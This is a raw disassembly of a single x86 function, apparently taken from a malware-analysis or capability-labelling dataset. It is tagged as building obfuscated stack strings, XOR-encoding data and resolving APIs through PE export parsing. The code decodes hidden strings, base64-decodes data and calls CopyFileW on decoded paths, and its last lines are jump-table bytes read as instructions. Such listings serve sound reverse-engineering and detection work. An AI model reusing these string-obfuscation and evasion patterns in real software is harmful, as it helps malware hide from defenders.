Function at 0x42a560
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x314a3f49
mov dword [esp + 0x58], 0x35513357
mov dword [esp + 0x5c], 0x4908374b
mov dword [esp + 0x60], 0x4dc24b2f
mov dword [esp + 0x64], 0x414e4f2b
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x35
xor cl, byte [esp + eax + 0x54]
add cl, 0xf7
mov byte [esp + eax + 0x54], cl
inc eax
cmp eax, 0x14
jne case.default.0x42a5e9
lea ebx, [esp + 0x54]
lea ecx, [esp + 0x34]
push ebx
call fcn.0043f270
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44da94]
lea ecx, [esp + 0x34]
push 0x410
call fcn.0043f450
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44da9c]
mov dword [esp + 0x54], 0x5e754c57
mov dword [esp + 0x58], 0x4c527f54
mov dword [esp + 0x5c], 0x58535573
mov dword [esp + 0x60], 0x152e2a77
mov dword [esp + 0x64], 0x340d0616
mov dword [esp + 0x68], 0x2d000a0f
mov dword [esp + 0x6c], 0x262f0a2a
mov dword [esp + 0x70], 0x3a113801
mov dword [esp + 0x74], 0x12040202
mov dword [esp + 0x78], 0x321d7703
mov dword [esp + 0x7c], 0xa1721b13
mov byte [esp + 0x80], 0
nop
nop
nop
nop
mov eax, ecx
add al, 0xb3
xor al, byte [esp + ecx + 0x54]
add al, 0x81
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 0x2d
jne case.default.0x42a6a6
lea eax, [esp + 0x48]
lea ecx, [esp + 0x34]
push 0
push 0x2b
push ebx
push eax
call fcn.0043fe70
mov edi, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
xor eax, eax
cmp edi, esi
sete al
jmp dword [eax*4 + 0x44daa4]
mov eax, edi
not eax
and eax, esi
mov ecx, esi
not ecx
and ecx, edi
sub eax, ecx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c510
add esp, 4
mov dword [esp + 0x30], 0
xor ecx, ecx
cmp edi, esi
setne cl
mov dword [esp + 0x2c], eax
mov dword [esp + 4], eax
mov dword [esp + 0x10], esi
jmp dword [ecx*4 + 0x44daac]
add edi, 8
xor eax, eax
mov esi, dword [esp + 0x10]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44daac]
mov esi, dword [edi]
mov dword [esp + 8], edi
mov edi, dword [edi + 4]
push 0x400
push 0
push ebx
call fcn.0040c720
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043fd10
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 0x18]
or ecx, dword [esp + 0x1c]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44dabc]
mov eax, 1
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x44dac4]
xor eax, eax
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x44dac4]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor edx, edx
test al, al
je 0x42a7b1
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42a7af
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42a7a0
jmp 0x42a7b1
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44dacc]
inc edx
movzx eax, byte [edx]
xor esi, esi
test al, al
mov dword [esp], edx
je 0x42a7e1
mov ecx, edx
nop
nop
cmp al, 0x2e
je 0x42a7df
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42a7d0
jmp 0x42a7e1
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp]
jmp dword [eax*4 + 0x44dad4]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x42a80a
cmp eax, 0x2e
jne 0x42a80b
dec ecx
mov eax, dword [esp]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x14], edx
je 0x42a821
cmp eax, 0x2e
jne 0x42a822
dec ecx
mov dword [esp + 0x44], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c510
add esp, 4
mov dword [esp + 0x28], eax
cmp esi, dword [esp]
je 0x42a92b
xor esi, esi
mov edi, 2
jmp 0x42a860
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x24]
lea eax, [edi + 4]
add edi, 2
cmp edi, edx
mov edi, eax
jae 0x42a92b
mov dword [esp + 0xc], esi
mov esi, dword [esp]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.004218e0
add esp, 4
mov bh, al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.004218e0
add esp, 4
mov bl, al
shl bh, 2
shr al, 4
and al, 3
or al, bh
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0xc]
mov byte [ecx + edx], al
lea esi, [edx + 1]
mov edx, dword [esp + 0x14]
cmp edi, edx
jae 0x42a850
mov eax, dword [esp]
movzx eax, byte [eax + edi]
push eax
call fcn.004218e0
mov edx, dword [esp + 0x18]
add esp, 4
cmp al, 0x40
je 0x42a850
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov ebx, dword [esp + 0xc]
lea esi, [ebx + 2]
mov dword [esp + 0x24], esi
mov esi, dword [esp + 0x28]
mov byte [esi + ebx + 1], cl
lea ecx, [edi + 1]
cmp ecx, edx
jae 0x42a84c
mov ebx, eax
mov eax, dword [esp]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.004218e0
add esp, 4
cmp al, 0x40
je 0x42a848
shl bl, 6
add al, bl
mov edx, dword [esp + 0xc]
mov ecx, edx
and ecx, 1
mov ebx, esi
mov esi, dword [esp + 0x24]
or esi, 1
add esi, ecx
mov byte [ebx + edx + 2], al
mov edx, dword [esp + 0x14]
jmp 0x42a850
mov eax, dword [esp + 0x44]
mov edi, dword [esp + 0x28]
mov byte [edi + eax], 0
push edi
call fcn.00403b00
add esp, 4
mov esi, eax
jmp dword [0x44dadc]
push edi
call fcn.0040c520
add esp, 4
mov dword [esp + 0xc], esi
push esi
call fcn.00404460
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44dae4]
lea ebx, [esp + 0x54]
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x10]
jmp 0x42aa89
mov dword [esp], eax
mov dword [esp + 0x18], 0x93701c63
lea eax, [esp + 0x1c]
mov byte [eax + 2], 0
mov word [eax], 0
mov ecx, 0x56a5365c
mov esi, 0xa95ac9a3
nop
movzx ebx, byte [esp + ecx - 0x56a53644]
mov eax, esi
or eax, ebx
mov edx, esi
and edx, 0x880889b5
mov edi, ecx
and edi, 0x40a4040a
or edi, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
mov ebx, edi
xor ebx, 0x61f6440a
add edi, edi
xor edi, 0xc3ec8815
sub ebx, edi
or ebx, edx
and ebx, eax
mov eax, 0x4ec5f032
sub eax, ebx
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
mov byte [esp + ecx - 0x56a53644], al
inc ecx
dec esi
cmp ecx, 0x56a53663
jne 0x42a9a0
lea eax, [esp + 0x18]
push eax
push dword [esp + 4]
call fcn.004043b0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44daec]
lea ebx, [esp + 0x54]
mov edi, dword [esp + 8]
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 4]
jmp 0x42aa5b
movzx ecx, byte [eax]
test cl, cl
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 4]
je 0x42aa4b
inc eax
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42aa40
mov word [edx], 0x203a
add edx, 2
lea ebx, [esp + 0x54]
mov edi, dword [esp + 8]
movzx eax, byte [esp + 0x54]
test al, al
je 0x42aa7b
lea ecx, [esp + 0x55]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42aa70
mov byte [edx], 0xa
inc edx
mov dword [esp + 4], edx
mov al, 1
mov dword [esp + 0x30], eax
push dword [esp + 0xc]
call fcn.004046d0
add esp, 4
add edi, 8
xor eax, eax
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44daac]
mov ecx, dword [esp + 0x30]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44dab4]
jmp dword [0x44db04]
xor ecx, ecx
test edi, edi
jne 0x42ab91
jmp case.0x42a5e9.0
mov eax, dword [esp + 4]
mov byte [eax], 0
mov dword [esp + 0x54], 0xc5fafba3
mov dword [esp + 0x58], 0xf9c9cac7
mov dword [esp + 0x5c], 0xc4c0c2c3
mov dword [esp + 0x60], 0xfec2e281
mov dword [esp + 0x64], 0xed8bc8f3
mov dword [esp + 0x68], 0xcff5f2c9
mov dword [esp + 0x6c], 0xd9d691c9
mov dword [esp + 0x70], 0x47d4
mov eax, 0x5395f897
mov ecx, dword [ebp + 8]
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x5395f843]
mov edx, ebx
and edx, eax
add dl, dl
sub bl, dl
movzx edx, bl
add edx, eax
add dl, 0xd
mov byte [esp + eax - 0x5395f843], dl
inc eax
cmp eax, 0x5395f8b7
jne 0x42ab20
mov edx, dword [esp + 0x2c]
mov esi, dword [esp + 4]
sub esi, edx
lea eax, [esp + 0x54]
push esi
push edx
push eax
call fcn.0040d1b0
mov ecx, eax
jmp dword [0x44db04]
push dword [esp + 0x2c]
mov esi, ecx
call fcn.0040c520
mov ecx, esi
add esp, 4
mov eax, dword [case.0x42a7eb.13]
nop
nop
nop
nop
nop
nop
jmp eax
and cl, 1
mov edi, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
test edi, edi
je case.0x42a5e9.0
cmp edi, esi
je case.0x42a5e9.0
push edi
mov esi, ecx
call fcn.0040c520
mov ecx, esi
add esp, 4
mov ebx, ecx
lea ecx, [esp + 0x34]
call fcn.0043f580
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov dword [ebp - 0x78], 0xf76409c1
mov dword [ebp - 0x74], 0xf36ef56b
mov dword [ebp - 0x70], 0xff6af151
mov dword [ebp - 0x6c], 0xfb4afd68
mov dword [ebp - 0x68], 0xe77af959
mov dword [ebp - 0x64], 0xe3e2e54c
mov eax, 0x65eb91fe
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + eax - 0x65eb9276]
xor ecx, eax
mov edx, ecx
or edx, 8
and ecx, 8
add ecx, edx
add cl, 2
mov byte [ebp + eax - 0x65eb9276], cl
inc eax
cmp eax, 0x65eb9216
jne 0x42ac50
mov dword [ebp - 0xcc], 0x89248b28
mov dword [ebp - 0xc8], 0x85df87d3
mov dword [ebp - 0xc4], 0x812f83d3
mov dword [ebp - 0xc0], 0x9d309f2c
mov dword [ebp - 0xbc], 0x993e9b3b
mov dword [ebp - 0xb8], 0x95c997cb
mov dword [ebp - 0xb4], 0x91ca93c9
mov dword [ebp - 0xb0], 0xedbcefc7
mov dword [ebp - 0xac], 0xe94eebb7
mov dword [ebp - 0xa8], 0xe5b7e745
mov dword [ebp - 0xa4], 0xe14ee3be
mov dword [ebp - 0xa0], 0xfda1ff49
mov dword [ebp - 0x9c], 0xf9a1fb52
mov dword [ebp - 0x98], 0xf55cf75c
mov dword [ebp - 0x94], 0xf146f34b
mov dword [ebp - 0x90], 0xcd75cf7a
mov dword [ebp - 0x8c], 0xc967cb68
mov dword [ebp - 0x88], 0xc57dc744
mov dword [ebp - 0x84], 0xc171c37b
mov word [ebp - 0x80], 0xdfc0
mov word [ebp - 0x7a], 0
mov dword [ebp - 0x7e], 0
xor ecx, ecx
mov eax, 0xffffffff
nop
nop
mov esi, eax
or esi, 0x23
mov edx, ecx
or edx, 0x23
add edx, esi
add edx, ecx
inc dl
xor dl, byte [ebp + ecx - 0xcc]
add dl, 0x51
mov byte [ebp + ecx - 0xcc], dl
lea edx, [ecx + 1]
dec eax
mov ecx, edx
cmp edx, 0x54
jne 0x42ad50
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0xcc]
push eax
push ecx
call fcn.0043c660
add esp, 8
nop
lea eax, [ebp - 0x7e]
push eax
push eax
mov dword [ebp - 0x60], esp
sub esp, 8
mov dword [ebp - 0x50], esp
sub esp, 0x24
mov dword [ebp - 0xd0], esp
mov dword [ebp - 0x78], 0xf76409c1
mov dword [ebp - 0x74], 0xf36ef56b
mov dword [ebp - 0x70], 0xff6af151
mov dword [ebp - 0x6c], 0xfb4afd68
mov dword [ebp - 0x68], 0xe77af959
mov dword [ebp - 0x64], 0xe3e2e54c
mov ecx, 0x65eb91fe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x65eb9276]
xor edx, ecx
mov esi, edx
or esi, 8
and edx, 8
add edx, esi
add dl, 2
mov byte [ebp + ecx - 0x65eb9276], dl
inc ecx
cmp ecx, 0x65eb9216
jne 0x42ade0
mov dword [ebp - 0xcc], 0x89248b28
mov dword [ebp - 0xc8], 0x85df87d3
mov dword [ebp - 0xc4], 0x812f83d3
mov dword [ebp - 0xc0], 0x9d309f2c
mov dword [ebp - 0xbc], 0x993e9b3b
mov dword [ebp - 0xb8], 0x95c997cb
mov dword [ebp - 0xb4], 0x91ca93c9
mov dword [ebp - 0xb0], 0xedbcefc7
mov dword [ebp - 0xac], 0xe94eebb7
mov dword [ebp - 0xa8], 0xe5b7e745
mov dword [ebp - 0xa4], 0xe14ee3be
mov dword [ebp - 0xa0], 0xfda1ff49
mov dword [ebp - 0x9c], 0xf9a1fb52
mov dword [ebp - 0x98], 0xf55cf75c
mov dword [ebp - 0x94], 0xf146f34b
mov dword [ebp - 0x90], 0xcd75cf7a
mov dword [ebp - 0x8c], 0xc967cb68
mov dword [ebp - 0x88], 0xc57dc744
mov dword [ebp - 0x84], 0xc171c37b
mov word [ebp - 0x80], 0xdfc0
mov word [eax + 4], 0
mov dword [eax], 0
xor ecx, ecx
mov eax, 0xffffffff
nop
nop
mov esi, eax
or esi, 0x23
mov edx, ecx
or edx, 0x23
add edx, esi
add edx, ecx
inc dl
xor dl, byte [ebp + ecx - 0xcc]
add dl, 0x51
mov byte [ebp + ecx - 0xcc], dl
lea edx, [ecx + 1]
dec eax
mov ecx, edx
cmp edx, 0x54
jne 0x42aee0
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0xcc]
push eax
push ecx
call fcn.0043c660
add esp, 8
jmp dword [0x44db28]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44db2c]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add ecx, 2
cmp word [edx], 0
jne 0x42af40
sub edx, eax
sar edx, 1
lea ecx, [edx + 0x13]
mov dword [ebp - 0x30], ecx
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
jmp dword [0x44db34]
cmp edx, 0xffffffed
jge 0x42af77
mov dword [ebp - 0x18], eax
mov eax, 0xffffffff
jmp 0x42af7f
xor eax, eax
jmp 0x42b1e5
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x30]
add eax, eax
push eax
call fcn.0040c510
add esp, 4
mov dword [esi], 0x37c939dc
mov dword [esi + 4], 0x33c035c7
mov dword [esi + 8], 0xcf3731ca
mov dword [esi + 0xc], 0xcb2ecd37
mov dword [esi + 0x10], 0xc735c937
mov dword [esi + 0x14], 0xc338c536
mov dword [esi + 0x18], 0xdf25c139
mov dword [esi + 0x1c], 0xdb50ddee
mov dword [esi + 0x20], 0xd72cd924
mov word [esi + 0x24], 0xd5d4
mov dword [esi + 0x26], 0
mov ebx, esi
mov esi, 0x76
mov edx, 9
nop
mov edi, edx
and edi, 0x31
mov ecx, esi
and ecx, 0xce
or ecx, edi
xor cl, byte [ebx + esi - 0x76]
xor cl, 0x31
add cl, 0xb2
mov byte [ebx + esi - 0x76], cl
inc esi
dec edx
cmp esi, 0xa0
jne 0x42afe0
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
test cx, cx
je 0x42b033
add edx, 2
mov esi, dword [ebp - 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b020
jmp 0x42b036
mov esi, dword [ebp - 0x24]
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x42b061
lea edx, [esi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b050
mov word [eax], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
jmp case.0x42a7eb.24
mov word [edx], 0
mov esi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x14]
jmp dword [0x44db3c]
cmp edx, 0xffffffed
jge 0x42b090
mov ecx, 0xffffffff
jmp 0x42b095
mov ecx, dword [ebp - 0x30]
add ecx, ecx
mov ebx, esi
add esi, 2
mov dword [ebp - 0x18], eax
lea edi, [eax + 2]
push ecx
call fcn.0040c510
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebx], 0x37c939dc
mov dword [ebx + 4], 0x33c035c7
mov dword [ebx + 8], 0xcf3731ca
mov dword [ebx + 0xc], 0xcb2ecd37
mov dword [ebx + 0x10], 0xc735c937
mov dword [ebx + 0x14], 0xc338c536
mov dword [ebx + 0x18], 0xdf25c139
mov dword [ebx + 0x1c], 0xdb50ddee
mov dword [ebx + 0x20], 0xd72cd924
mov word [ebx + 0x24], 0xd5d4
mov dword [ebx + 0x26], 0
mov eax, 0x76
mov ebx, 9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
and ecx, 0x31
mov edx, eax
and edx, 0xce
or edx, ecx
mov ecx, dword [ebp - 0x24]
xor dl, byte [ecx + eax - 0x76]
xor dl, 0x31
add dl, 0xb2
mov byte [ecx + eax - 0x76], dl
inc eax
dec ebx
cmp eax, 0xa0
jne 0x42b110
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x20]
test cx, cx
je 0x42b161
mov edx, dword [ebp - 0x20]
nop
nop
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x42b150
mov word [edx], 0
mov ecx, dword [ebp - 0x24]
movzx ecx, word [ecx]
test cx, cx
je 0x42b070
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x42b180
jmp 0x42b070
jmp dword [0x44db44]
jmp dword [0x44db50]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x24], edi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xcc], 0x2c2d2e2f
mov word [ebp - 0xc8], 0
mov byte [ebp - 0xc6], 0
xor ecx, ecx
xor eax, eax
nop
nop
movzx edx, byte [ebp + ecx - 0xcc]
mov esi, ecx
xor esi, 0x4dfcc4a3
mov edi, eax
and edi, 8
sub edi, esi
lea esi, [edi*2 - 0x5dd4eaca]
sub esi, edi
lea ebx, [edi + 0x51158a9b]
add esi, 0x65
and esi, edx
or ebx, edx
xor ebx, esi
add bl, 0x28
mov byte [ebp + ecx - 0xcc], bl
inc ecx
add eax, 2
cmp ecx, 7
jne 0x42b240
mov ecx, dword [0x451cfc]
test ecx, ecx
je 0x42b2cc
mov edx, dword [ebp - 0xcc]
xor esi, esi
mov edi, dword [0x451d00]
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42b2b0
inc esi
cmp ecx, esi
jne 0x42b2a0
jmp 0x42b2cc
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42b2cc
push dword [ebp - 0x18]
push 1
push dword [0x451d04]
push ecx
call fcn.00441c30
add esp, 0x10
mov eax, dword [0x44dc0c]
mov edi, dword [ebp - 0x24]
jmp 0x42be70
mov dword [ebp - 0x44], edi
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
xor edi, edi
jmp dword [eax*4 + 0x44db94]
xor eax, eax
mov ecx, dword [ebp - 0x20]
cmp word [ecx], 0x2a
sete al
mov edi, dword [ebp - 0x10]
jmp dword [eax*4 + 0x44db5c]
jmp dword [0x44db68]
mov dword [edi], 0xd1f4cf89
mov dword [edi + 4], 0xd5b7d38c
mov dword [edi + 8], 0xd9b8d7a5
mov dword [edi + 0xc], 0xddb1dbbe
mov dword [edi + 0x10], 0xe182dfb5
mov dword [edi + 0x14], 0xe593e385
mov dword [edi + 0x18], 0xe980e78a
mov dword [edi + 0x1c], 0xed83eb83
mov dword [edi + 0x20], 0xf198efc2
mov dword [edi + 0x24], 0xf594f394
mov word [edi + 0x28], 0xf7f4
mov dword [edi + 0x2a], 0
mov word [edi + 0x2e], 0
mov eax, 0x3a24dfcd
mov ecx, 0xc5db2032
nop
movzx edx, byte [edi + eax - 0x3a24dfcd]
mov edi, ecx
and edi, 0xc5
mov esi, eax
and esi, 0x3a
or esi, edi
mov edi, edx
and edi, 0xffffffc5
or edi, 0x42200c38
and edx, 0x3a
xor edx, edi
mov edi, dword [ebp - 0x10]
xor edx, esi
xor edx, 0xfd
dec dl
mov byte [edi + eax - 0x3a24dfcd], dl
inc eax
dec ecx
cmp eax, 0x3a24dffd
jne 0x42bd20
push 0
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [edi], 0xd1f4cf89
mov dword [edi + 4], 0xd5b7d38c
mov dword [edi + 8], 0xd9b8d7a5
mov dword [edi + 0xc], 0xddb1dbbe
mov dword [edi + 0x10], 0xe182dfb5
mov dword [edi + 0x14], 0xe593e385
mov dword [edi + 0x18], 0xe980e78a
mov dword [edi + 0x1c], 0xed83eb83
mov dword [edi + 0x20], 0xf198efc2
mov dword [edi + 0x24], 0xf594f394
mov word [edi + 0x28], 0xf7f4
mov dword [edi + 0x2a], 0
mov word [edi + 0x2e], 0
mov eax, 0x3a24dfcd
mov ecx, 0xc5db2032
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [edi + eax - 0x3a24dfcd]
mov edi, ecx
and edi, 0xc5
mov esi, eax
and esi, 0x3a
or esi, edi
mov edi, edx
and edi, 0xffffffc5
or edi, 0x42200c38
and edx, 0x3a
xor edx, edi
mov edi, dword [ebp - 0x10]
xor edx, esi
xor edx, 0xfd
dec dl
mov byte [edi + eax - 0x3a24dfcd], dl
inc eax
dec ecx
cmp eax, 0x3a24dffd
jne 0x42bde0
push 0
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x44db70]
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x1c]
push esi
push dword [ebp - 0x20]
call fcn.00444db0
add esp, 0x14
not eax
shr eax, 0x1f
mov ecx, dword [ebp - 0x28]
jmp dword [eax*4 + 0x44db74]
xor edi, edi
mov eax, dword [0x44dc0c]
mov dword [ebp - 0x10], 0
nop
nop
nop
nop
nop
jmp eax
push 0
push ecx
push dword [esi]
call fcn.00445160
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
xor edi, edi
jmp dword [eax*4 + 0x44db7c]
mov ebx, dword [ebp - 0x28]
jmp dword [0x44db84]
push eax
call fcn.0040c520
mov eax, dword [ebp - 0x18]
add esp, 4
push eax
call fcn.0040c520
mov eax, dword [ebp - 0x18]
add esp, 4
jmp dword [0x44db58]
mov esi, dword [ebx]
lea eax, [esi + 1]
push eax
call fcn.0040c510
add esp, 4
push 0
push esi
push eax
mov eax, dword [ebp - 0x1c]
push dword [eax]
call fcn.00445250
add esp, 0x10
mov esi, dword [ebx]
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040c510
add esp, 4
mov edi, eax
push 0
push esi
push eax
mov eax, dword [ebp - 0x1c]
push dword [eax]
call fcn.00445250
add esp, 0x10
jmp dword [0x44db8c]
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [esi - 0x59ffbd56], bh
stosb byte es:[edi], al
inc edx
add byte [0xb80042a7], al
stosb byte es:[edi], al
inc edx
add ch, cl
stosb byte es:[edi], al
inc edx
add byte [ebp - 0x59], dl
inc edx
add byte [eax - 0x59], dh
inc edx
add al, dh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ebp - 0x59], bh
inc edx
add al, dh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi - 0xfffbd59], bh
cmpsb byte [esi], byte es:[edi]
inc edx
add dl, dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax - 0x57], cl
inc edx
add byte [ecx - 0x57], dl
inc edx
add byte [ecx + ebp*4 + 0x42], ch
add byte [ebp - 0x57], bh
inc edx
add byte [0x2f0042aa], bl
stosb byte es:[edi], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x650042ab], dh
stosd dword es:[edi], eax
inc edx
add byte [edx - 0x7fffbd55], al
stosd dword es:[edi], eax
inc edx
add byte [eax - 0x7fffbd55], al
stosd dword es:[edi], eax
inc edx
add byte [edx - 0x6fffbd55], al
lodsd eax, dword [esi]
inc edx
add byte [ecx], bl
lodsb al, byte [esi]
inc edx
add byte [eax + 0x250042ad], dl
scasd eax, dword es:[edi]
inc edx
add byte [ebx], dh
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x51], dh
inc edx
add byte [ecx + 0x610042b0], al
scasd eax, dword es:[edi]
inc edx
add byte [esi - 0x7effbd4f], dl
mov al, 0x42
add byte [ecx + esi*4 - 0x435effbe], bl
inc edx
add byte [ebx - 0x70ffbd3e], al
ret 0x42